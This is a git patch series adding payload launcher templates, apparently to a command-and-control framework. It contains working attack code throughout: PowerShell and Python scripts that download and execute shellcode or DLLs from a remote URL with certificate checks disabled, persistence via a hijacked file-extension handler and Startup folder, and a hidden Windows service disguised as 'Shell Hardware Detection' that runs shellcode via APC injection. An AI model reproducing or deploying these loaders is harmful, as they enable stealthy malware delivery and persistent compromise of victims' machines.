From 8a2cda59d75e726952e0ea422358eee667765408 Mon Sep 17 00:00:00 2001 From: Juozas Date: Tue, 28 Oct 2025 22:21:55 +0200 Subject: [PATCH 1/6] Two new launchers --- .../launchers/CallWindowProcW_launcher.ps1 | 47 +++++++++++++++++++ .../default/launchers/default.examples.yml | 35 +++++++++++++- .../default/launchers/file_ext_persist.ps1 | 35 ++++++++++++++ 3 files changed, 116 insertions(+), 1 deletion(-) create mode 100644 plugins/client/default/launchers/CallWindowProcW_launcher.ps1 create mode 100644 plugins/client/default/launchers/file_ext_persist.ps1 diff --git a/plugins/client/default/launchers/CallWindowProcW_launcher.ps1 b/plugins/client/default/launchers/CallWindowProcW_launcher.ps1 new file mode 100644 index 0000000..907af40 --- /dev/null +++ b/plugins/client/default/launchers/CallWindowProcW_launcher.ps1 @@ -0,0 +1,47 @@ +[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + +$url = "%%url%%" + +$webClient = New-Object System.Net.WebClient +$schcd = $webClient.DownloadData($url) + +Add-Type -MemberDefinition @" + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); + + [DllImport("user32.dll", SetLastError = true, EntryPoint = "CallWindowProcW")] + public static extern IntPtr CallWindowProcW(IntPtr lpPrevWndFunc, IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam); +"@ -Namespace Win32 -Name NativeMethods + +$MEM_COMMIT = 0x1000 +$MEM_RESERVE = 0x2000 +$PAGE_READWRITE = 0x04 +$PAGE_EXECUTE_READ = 0x20 + +$sizeofschcd = $schcd.Length + +if ([IntPtr]::Size -eq 4) { + $sizePtr = [UIntPtr]::new([uint32]$sizeofschcd) +} else { + $sizePtr = [UIntPtr]::new([uint64]$sizeofschcd) +} + +$pschcdAddress = [Win32.NativeMethods]::VirtualAlloc([IntPtr]::Zero, $sizePtr, $MEM_COMMIT -bor $MEM_RESERVE, $PAGE_READWRITE) + +[System.Runtime.InteropServices.Marshal]::Copy($schcd, 0, $pschcdAddress, $sizeofschcd) + +$dwOldProtection = 0 +$protectResult = [Win32.NativeMethods]::VirtualProtect($pschcdAddress, $sizePtr, $PAGE_EXECUTE_READ, [ref]$dwOldProtection) +if (-not $protectResult) { + return -1 +} + +$hwnd = [IntPtr]::Zero +$msg = 0 +$wParam = [IntPtr]::Zero +$lParam = [IntPtr]::Zero + +$result = [Win32.NativeMethods]::CallWindowProcW($pschcdAddress, $hwnd, $msg, $wParam, $lParam) diff --git a/plugins/client/default/launchers/default.examples.yml b/plugins/client/default/launchers/default.examples.yml index 5ea031b..c6db2cc 100644 --- a/plugins/client/default/launchers/default.examples.yml +++ b/plugins/client/default/launchers/default.examples.yml @@ -125,4 +125,37 @@ launchers: path: "template.remote_APC_inj.py" args: - name: url - - name: isHTTPS \ No newline at end of file + - name: isHTTPS + # run shellcode using CallWindowProcW in powershell + - name: "(PS) Download and Execute CallWindowProcW" + match: + type: ["SHELLCODE"] + arch: ["x64", "x86"] + platform: ["windows"] + type: file + path: "CallWindowProcW_launcher.ps1" + args: + - name: url + - name: isHTTPS +# persist via new file extension and startup folder + - name: "(PS) Persist via new file extension and startup folder" + match: + type: ["EXECUTABLE", "DEBUG_EXECUTABLE"] + arch: ["x64", "x86"] + platform: ["windows"] + type: file + path: "file_ext_persist.ps1" + args: + - name: url + - name: isHTTPS + - name: randomBinName + jsFile: lib/arg.randomBinName.js + - name: filename + jsFn: | + const payloadType = payload.configuration.type; + const fileExtension = payloadsStore().extensionMap.get(payloadType); + `${argumentsPluginInterface['randomBinName']}.${fileExtension}`; // Using previously parsed argument via argumentsPluginInterface + - name: filename2 + jsFn: | + const payloadType = payload.configuration.type; + `${argumentsPluginInterface['randomBinName']}`; \ No newline at end of file diff --git a/plugins/client/default/launchers/file_ext_persist.ps1 b/plugins/client/default/launchers/file_ext_persist.ps1 new file mode 100644 index 0000000..079e697 --- /dev/null +++ b/plugins/client/default/launchers/file_ext_persist.ps1 @@ -0,0 +1,35 @@ +[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } + +$downloadUrl = '%%url%%' +$tempFolder = $env:TEMP +$exeFileName = '%%filename%%' +$exePath = Join-Path -Path $tempFolder -ChildPath $exeFileName + +(New-Object System.Net.WebClient).DownloadFile($downloadUrl, $exePath) + +$letters = [char[]]([char]'a'..[char]'z') | Where-Object { $_ -ne 'g' } +$randomLetter = $letters | Get-Random +$extension = ".jp$randomLetter" + +$progId = '%%filename2%%' + +$regPathOpenCommand = "HKCU:\Software\Classes\$progId\shell\open\command" +New-Item -Path $regPathOpenCommand -Force | Out-Null +Set-ItemProperty -Path $regPathOpenCommand -Name '(Default)' -Value "`"$exePath`" `"%1`"" -Type String + +$regPathDefaultIcon = "HKCU:\Software\Classes\$progId\DefaultIcon" +New-Item -Path $regPathDefaultIcon -Force | Out-Null +Set-ItemProperty -Path $regPathDefaultIcon -Name '(Default)' -Value '"C:\Windows\System32\imageres.dll",-72' -Type String + +$regPathExtension = "HKCU:\Software\Classes\$extension" +New-Item -Path $regPathExtension -Force | Out-Null +Set-ItemProperty -Path $regPathExtension -Name '(Default)' -Value $progId -Type String + +$startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" +$triggerFileName = "%%filename2%%$extension" +$triggerFilePath = Join-Path -Path $startupFolder -ChildPath $triggerFileName + +Copy-Item -Path 'C:\Windows\Web\Screen\img102.jpg' -Destination $triggerFilePath -Force + +Start-Process -FilePath $exePath + From 15c425fe1a64ba5829b111647b0582135891e9d0 Mon Sep 17 00:00:00 2001 From: Juozas Date: Tue, 11 Nov 2025 19:22:56 +0200 Subject: [PATCH 2/6] Two new launcher templates added. LoadLibA DLL injection and python as windows service installer. --- .../LoadLibA_dll_launcher_template.py | 32 ++++ .../default/launchers/default.examples.yml | 36 ++++ .../python_service_shellcode_template.py | 157 ++++++++++++++++++ 3 files changed, 225 insertions(+) create mode 100644 plugins/client/default/launchers/LoadLibA_dll_launcher_template.py create mode 100644 plugins/client/default/launchers/python_service_shellcode_template.py diff --git a/plugins/client/default/launchers/LoadLibA_dll_launcher_template.py b/plugins/client/default/launchers/LoadLibA_dll_launcher_template.py new file mode 100644 index 0000000..b1bfe07 --- /dev/null +++ b/plugins/client/default/launchers/LoadLibA_dll_launcher_template.py @@ -0,0 +1,32 @@ +import os +import tempfile +import urllib.request +import ssl +import ctypes +import threading + +ssl_context = ssl._create_unverified_context() +temporary_directory_path = tempfile.mkdtemp() +dll_file_path = os.path.join(temporary_directory_path, "%%filename%%.dll") + +download_url = "%%url%%" +with urllib.request.urlopen(download_url, context=ssl_context) as response: + with open(dll_file_path, "wb") as output_file: + output_file.write(response.read()) + +kernel32_dll = ctypes.windll.kernel32 + +kernel32_dll.LoadLibraryA.argtypes = [ctypes.c_char_p] +kernel32_dll.LoadLibraryA.restype = ctypes.c_void_p + +dll_file_path_bytes = dll_file_path.encode("mbcs") + +library_handle = kernel32_dll.LoadLibraryA(dll_file_path_bytes) + +if library_handle == 0 or library_handle is None: + print("GetLastError:", kernel32_dll.GetLastError()) +else: + print("Library loaded successfully") + +threading.Event().wait() + diff --git a/plugins/client/default/launchers/default.examples.yml b/plugins/client/default/launchers/default.examples.yml index c6db2cc..9ac2905 100644 --- a/plugins/client/default/launchers/default.examples.yml +++ b/plugins/client/default/launchers/default.examples.yml @@ -158,4 +158,40 @@ launchers: - name: filename2 jsFn: | const payloadType = payload.configuration.type; + `${argumentsPluginInterface['randomBinName']}`; +# LoadLibraryA DLL injection in python + - name: "LoadLibraryA python" + match: + type: ["DLL"] + arch: ["x64", "x86"] + platform: ["windows"] + type: file + path: "LoadLib_dll_launcher.py" + args: + - name: url + - name: isHTTPS + - name: randomBinName + jsFile: lib/arg.randomBinName.js + - name: filename + jsFn: | + const payloadType = payload.configuration.type; + const fileExtension = payloadsStore().extensionMap.get(payloadType); + `${argumentsPluginInterface['randomBinName']}`; +# Python script as windows service launcher (runs shellcode payload via self APC injection). Elevated persistance + - name: "Python service shellcode APC" + match: + type: ["SHELLCODE"] + arch: ["x64", "x86"] + platform: ["windows"] + type: file + path: "python_service_shellcode_template.py" + args: + - name: url + - name: isHTTPS + - name: randomBinName + jsFile: lib/arg.randomBinName.js + - name: filename + jsFn: | + const payloadType = payload.configuration.type; + const fileExtension = payloadsStore().extensionMap.get(payloadType); `${argumentsPluginInterface['randomBinName']}`; \ No newline at end of file diff --git a/plugins/client/default/launchers/python_service_shellcode_template.py b/plugins/client/default/launchers/python_service_shellcode_template.py new file mode 100644 index 0000000..5e6fda5 --- /dev/null +++ b/plugins/client/default/launchers/python_service_shellcode_template.py @@ -0,0 +1,157 @@ +import os, sys, subprocess + +PROGRAMDATA = os.environ.get('PROGRAMDATA', r'C:\\ProgramData') +INSTALL_DIR = os.path.join(PROGRAMDATA, 'Microsoft', 'Windows') +CHILD_PATH = os.path.join(INSTALL_DIR, '%%filename%%.py') +os.makedirs(INSTALL_DIR, exist_ok=True) + +payload = ( +"import ctypes\n" +"from ctypes import wintypes as w\n" +"import time, threading, ssl, urllib.request, sys, os, subprocess\n" +"SERVICE_NAME = \"%%filename%%\"\n" +"SERVICE_WIN32_OWN_PROCESS = 0x00000010\n" +"SERVICE_ACCEPT_STOP = 0x00000001\n" +"SERVICE_CONTROL_STOP = 0x00000001\n" +"SERVICE_START_PENDING = 0x00000002\n" +"SERVICE_RUNNING = 0x00000004\n" +"SERVICE_STOP_PENDING = 0x00000003\n" +"SERVICE_STOPPED = 0x00000001\n" +"NO_ERROR = 0\n" +"MEM_COMMIT = 0x1000\n" +"MEM_RESERVE = 0x2000\n" +"PAGE_EXECUTE_READWRITE = 0x40\n" +"THREAD_ALL_ACCESS = 0x1F03FF\n" +"class SERVICE_STATUS(ctypes.Structure):\n" +" _fields_ = [ (\"dwServiceType\", w.DWORD), (\"dwCurrentState\", w.DWORD), (\"dwControlsAccepted\", w.DWORD), (\"dwWin32ExitCode\", w.DWORD), (\"dwServiceSpecificExitCode\", w.DWORD), (\"dwCheckPoint\", w.DWORD), (\"dwWaitHint\", w.DWORD),]\n" +"class SERVICE_TABLE_ENTRY(ctypes.Structure):\n" +" _fields_ = [ (\"lpServiceName\", w.LPWSTR), (\"lpServiceProc\", ctypes.WINFUNCTYPE(None, w.DWORD, ctypes.POINTER(w.LPWSTR))), ]\n" +"advapi32 = ctypes.WinDLL('advapi32', use_last_error=True)\n" +"kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)\n" +"ntdll = ctypes.WinDLL('ntdll', use_last_error=True)\n" +"RegisterServiceCtrlHandlerW = advapi32.RegisterServiceCtrlHandlerW\n" +"RegisterServiceCtrlHandlerW.argtypes = [w.LPCWSTR, ctypes.WINFUNCTYPE(None, w.DWORD)]\n" +"RegisterServiceCtrlHandlerW.restype = w.HANDLE\n" +"SetServiceStatus = advapi32.SetServiceStatus\n" +"SetServiceStatus.argtypes = [w.HANDLE, ctypes.POINTER(SERVICE_STATUS)]\n" +"SetServiceStatus.restype = w.BOOL\n" +"StartServiceCtrlDispatcherW = advapi32.StartServiceCtrlDispatcherW\n" +"StartServiceCtrlDispatcherW.argtypes = [ctypes.POINTER(SERVICE_TABLE_ENTRY)]\n" +"StartServiceCtrlDispatcherW.restype = w.BOOL\n" +"kernel32.VirtualAlloc.argtypes = [ctypes.c_void_p, ctypes.c_size_t, w.DWORD, w.DWORD]\n" +"kernel32.VirtualAlloc.restype = ctypes.c_void_p\n" +"ntdll.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]\n" +"ntdll.RtlMoveMemory.restype = None\n" +"kernel32.OpenThread.argtypes = [w.DWORD, w.BOOL, w.DWORD]\n" +"kernel32.OpenThread.restype = w.HANDLE\n" +"kernel32.QueueUserAPC.argtypes = [ctypes.c_void_p, w.HANDLE, ctypes.c_void_p]\n" +"kernel32.QueueUserAPC.restype = w.DWORD\n" +"kernel32.CloseHandle.argtypes = [w.HANDLE]\n" +"kernel32.CloseHandle.restype = w.BOOL\n" +"kernel32.SleepEx.argtypes = [w.DWORD, w.BOOL]\n" +"kernel32.SleepEx.restype = w.DWORD\n" +"stopped_event = threading.Event()\n" +"status_handle = None\n" +"status = SERVICE_STATUS()\n" +"def control_handler(dwControl):\n" +" global status_handle, status\n" +" if dwControl == SERVICE_CONTROL_STOP:\n" +" stopped_event.set()\n" +" status.dwCurrentState = SERVICE_STOP_PENDING\n" +" SetServiceStatus(status_handle, ctypes.byref(status))\n" +"def service_main(dwArgc, lpszArgv):\n" +" global status_handle, status\n" +" handler = ctypes.WINFUNCTYPE(None, w.DWORD)(control_handler)\n" +" status_handle = RegisterServiceCtrlHandlerW(SERVICE_NAME, handler)\n" +" if not status_handle:\n" +" return\n" +" status.dwServiceType = SERVICE_WIN32_OWN_PROCESS\n" +" status.dwCurrentState = SERVICE_START_PENDING\n" +" status.dwControlsAccepted = 0\n" +" status.dwWin32ExitCode = NO_ERROR\n" +" status.dwServiceSpecificExitCode = 0\n" +" status.dwCheckPoint = 0\n" +" status.dwWaitHint = 0\n" +" SetServiceStatus(status_handle, ctypes.byref(status))\n" +" try:\n" +" try:\n" +" ULONG_PTR = w.ULONG_PTR\n" +" except AttributeError:\n" +" ULONG_PTR = ctypes.c_uint64 if ctypes.sizeof(ctypes.c_void_p) == 8 else ctypes.c_uint32\n" +" kernel32.QueueUserAPC.argtypes = [ctypes.c_void_p, w.HANDLE, ULONG_PTR]\n" +" ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)\n" +" ssl_context.check_hostname = False\n" +" ssl_context.verify_mode = ssl.CERT_NONE\n" +" url = \"%%url%%\"\n" +" with urllib.request.urlopen(url, context=ssl_context) as response:\n" +" shellcode = response.read()\n" +" if not shellcode:\n" +" raise ValueError(\"Empty shellcode\")\n" +" shellcode_size = len(shellcode)\n" +" ptr = kernel32.VirtualAlloc(None, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)\n" +" if not ptr:\n" +" raise MemoryError(\"VirtualAlloc failed\")\n" +" shellcode_buff = ctypes.create_string_buffer(shellcode)\n" +" ntdll.RtlMoveMemory(ctypes.c_void_p(ptr), shellcode_buff, shellcode_size)\n" +" def sleeper():\n" +" kernel32.SleepEx(0xFFFFFFFF, True)\n" +" t = threading.Thread(target=sleeper, daemon=True)\n" +" t.start()\n" +" time.sleep(0.5)\n" +" thread_handle = kernel32.OpenThread(THREAD_ALL_ACCESS, False, t.ident)\n" +" if not thread_handle:\n" +" raise OSError(\"OpenThread failed\")\n" +" result = kernel32.QueueUserAPC(ctypes.c_void_p(ptr), thread_handle, ULONG_PTR(0))\n" +" if result == 0:\n" +" raise OSError(f\"QueueUserAPC failed: {ctypes.get_last_error()}\")\n" +" kernel32.CloseHandle(thread_handle)\n" +" except Exception as e:\n" +" status.dwCurrentState = SERVICE_STOPPED\n" +" status.dwWin32ExitCode = 1\n" +" SetServiceStatus(status_handle, ctypes.byref(status))\n" +" return\n" +" status.dwCurrentState = SERVICE_RUNNING\n" +" status.dwControlsAccepted = SERVICE_ACCEPT_STOP\n" +" SetServiceStatus(status_handle, ctypes.byref(status))\n" +" while not stopped_event.is_set():\n" +" stopped_event.wait(1)\n" +" status.dwCurrentState = SERVICE_STOP_PENDING\n" +" SetServiceStatus(status_handle, ctypes.byref(status))\n" +" status.dwCurrentState = SERVICE_STOPPED\n" +" SetServiceStatus(status_handle, ctypes.byref(status))\n" +"if __name__ == \"__main__\":\n" +" SERVICE_PROC_TYPE = ctypes.WINFUNCTYPE(None, w.DWORD, ctypes.POINTER(w.LPWSTR))\n" +" service_proc = SERVICE_PROC_TYPE(service_main)\n" +" null_proc = ctypes.cast(0, SERVICE_PROC_TYPE)\n" +" table = (SERVICE_TABLE_ENTRY * 2)()\n" +" table[0].lpServiceName = SERVICE_NAME\n" +" table[0].lpServiceProc = service_proc\n" +" table[1].lpServiceName = None\n" +" table[1].lpServiceProc = null_proc\n" +" if StartServiceCtrlDispatcherW(table):\n" +" pass\n" +" else:\n" +" err = ctypes.get_last_error()\n" +" if err == 1063:\n" +" try:\n" +" subprocess.call(['sc', 'stop', SERVICE_NAME], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n" +" subprocess.call(['sc', 'delete', SERVICE_NAME], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n" +" bin_path = f'\"{sys.executable}\" \"{os.path.abspath(__file__)}\"'\n" +" subprocess.check_call(['sc', 'create', SERVICE_NAME, 'binPath=', bin_path, 'type=', 'own', 'start=', 'auto', 'DisplayName=', 'Shell Hardware Detection'])\n" +" subprocess.call(['sc', 'description', SERVICE_NAME, 'Provides notifications for AutoPlay hardware events.'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n" +" subprocess.check_call(['sc', 'start', SERVICE_NAME])\n" +" except Exception as e:\n" +" pass\n" +" else:\n" +" pass\n" +).replace('\r\n', '\n') + +with open(CHILD_PATH, "w", encoding="utf-8", newline="\n") as f: + f.write(payload) + +si = subprocess.STARTUPINFO() +si.dwFlags |= subprocess.STARTF_USESHOWWINDOW +si.wShowWindow = subprocess.SW_HIDE +subprocess.Popen([sys.executable, CHILD_PATH], startupinfo=si, cwd=INSTALL_DIR) +sys.exit(0) + From 4a91ce4924279a952962cd56714e9866d0d7e06d Mon Sep 17 00:00:00 2001 From: Juozas Date: Tue, 11 Nov 2025 19:24:38 +0200 Subject: [PATCH 3/6] Changed launcher name --- plugins/client/default/launchers/default.examples.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/client/default/launchers/default.examples.yml b/plugins/client/default/launchers/default.examples.yml index 9ac2905..0fdc9c5 100644 --- a/plugins/client/default/launchers/default.examples.yml +++ b/plugins/client/default/launchers/default.examples.yml @@ -178,7 +178,7 @@ launchers: const fileExtension = payloadsStore().extensionMap.get(payloadType); `${argumentsPluginInterface['randomBinName']}`; # Python script as windows service launcher (runs shellcode payload via self APC injection). Elevated persistance - - name: "Python service shellcode APC" + - name: "Python service shellcode APC (elevated persistance)" match: type: ["SHELLCODE"] arch: ["x64", "x86"] From 7824e19e8afb0525e1b38e892d0f046b9253af43 Mon Sep 17 00:00:00 2001 From: Juozas Date: Sat, 22 Nov 2025 13:17:15 +0200 Subject: [PATCH 4/6] Typo in python dll launcher name --- plugins/client/default/launchers/default.examples.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/client/default/launchers/default.examples.yml b/plugins/client/default/launchers/default.examples.yml index 0fdc9c5..dbeace8 100644 --- a/plugins/client/default/launchers/default.examples.yml +++ b/plugins/client/default/launchers/default.examples.yml @@ -166,7 +166,7 @@ launchers: arch: ["x64", "x86"] platform: ["windows"] type: file - path: "LoadLib_dll_launcher.py" + path: "LoadLibA_dll_launcher_template.py" args: - name: url - name: isHTTPS From f4b2a48a5e5089923a6a82afef8499670b277339 Mon Sep 17 00:00:00 2001 From: Juozas Date: Sat, 22 Nov 2025 13:18:16 +0200 Subject: [PATCH 5/6] Fixed typo in python dll launcher name From 462763c1f3ff25864ec05eeaf705441b393a38b1 Mon Sep 17 00:00:00 2001 From: Juozas Date: Wed, 7 Jan 2026 14:08:09 +0200 Subject: [PATCH 6/6] Fixes for python service launcher to be compatible with x86. --- .../python_service_shellcode_template.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/plugins/client/default/launchers/python_service_shellcode_template.py b/plugins/client/default/launchers/python_service_shellcode_template.py index 5e6fda5..b7653b4 100644 --- a/plugins/client/default/launchers/python_service_shellcode_template.py +++ b/plugins/client/default/launchers/python_service_shellcode_template.py @@ -28,7 +28,6 @@ " _fields_ = [ (\"lpServiceName\", w.LPWSTR), (\"lpServiceProc\", ctypes.WINFUNCTYPE(None, w.DWORD, ctypes.POINTER(w.LPWSTR))), ]\n" "advapi32 = ctypes.WinDLL('advapi32', use_last_error=True)\n" "kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)\n" -"ntdll = ctypes.WinDLL('ntdll', use_last_error=True)\n" "RegisterServiceCtrlHandlerW = advapi32.RegisterServiceCtrlHandlerW\n" "RegisterServiceCtrlHandlerW.argtypes = [w.LPCWSTR, ctypes.WINFUNCTYPE(None, w.DWORD)]\n" "RegisterServiceCtrlHandlerW.restype = w.HANDLE\n" @@ -40,12 +39,10 @@ "StartServiceCtrlDispatcherW.restype = w.BOOL\n" "kernel32.VirtualAlloc.argtypes = [ctypes.c_void_p, ctypes.c_size_t, w.DWORD, w.DWORD]\n" "kernel32.VirtualAlloc.restype = ctypes.c_void_p\n" -"ntdll.RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]\n" -"ntdll.RtlMoveMemory.restype = None\n" "kernel32.OpenThread.argtypes = [w.DWORD, w.BOOL, w.DWORD]\n" "kernel32.OpenThread.restype = w.HANDLE\n" -"kernel32.QueueUserAPC.argtypes = [ctypes.c_void_p, w.HANDLE, ctypes.c_void_p]\n" -"kernel32.QueueUserAPC.restype = w.DWORD\n" +"kernel32.QueueUserAPC.argtypes = [ctypes.c_void_p, w.HANDLE, ctypes.c_ulong]\n" +"kernel32.QueueUserAPC.restype = w.ULONG\n" "kernel32.CloseHandle.argtypes = [w.HANDLE]\n" "kernel32.CloseHandle.restype = w.BOOL\n" "kernel32.SleepEx.argtypes = [w.DWORD, w.BOOL]\n" @@ -91,8 +88,11 @@ " ptr = kernel32.VirtualAlloc(None, shellcode_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)\n" " if not ptr:\n" " raise MemoryError(\"VirtualAlloc failed\")\n" -" shellcode_buff = ctypes.create_string_buffer(shellcode)\n" -" ntdll.RtlMoveMemory(ctypes.c_void_p(ptr), shellcode_buff, shellcode_size)\n" +" shellcode_buff = ctypes.create_string_buffer(shellcode, shellcode_size)\n" +" RtlMoveMemory = ctypes.cdll.msvcrt.memmove\n" +" RtlMoveMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t]\n" +" RtlMoveMemory.restype = None\n" +" RtlMoveMemory(ctypes.c_void_p(ptr), ctypes.byref(shellcode_buff), ctypes.c_size_t(shellcode_size))\n" " def sleeper():\n" " kernel32.SleepEx(0xFFFFFFFF, True)\n" " t = threading.Thread(target=sleeper, daemon=True)\n" @@ -114,7 +114,7 @@ " status.dwControlsAccepted = SERVICE_ACCEPT_STOP\n" " SetServiceStatus(status_handle, ctypes.byref(status))\n" " while not stopped_event.is_set():\n" -" stopped_event.wait(1)\n" +" time.sleep(1)\n" " status.dwCurrentState = SERVICE_STOP_PENDING\n" " SetServiceStatus(status_handle, ctypes.byref(status))\n" " status.dwCurrentState = SERVICE_STOPPED\n"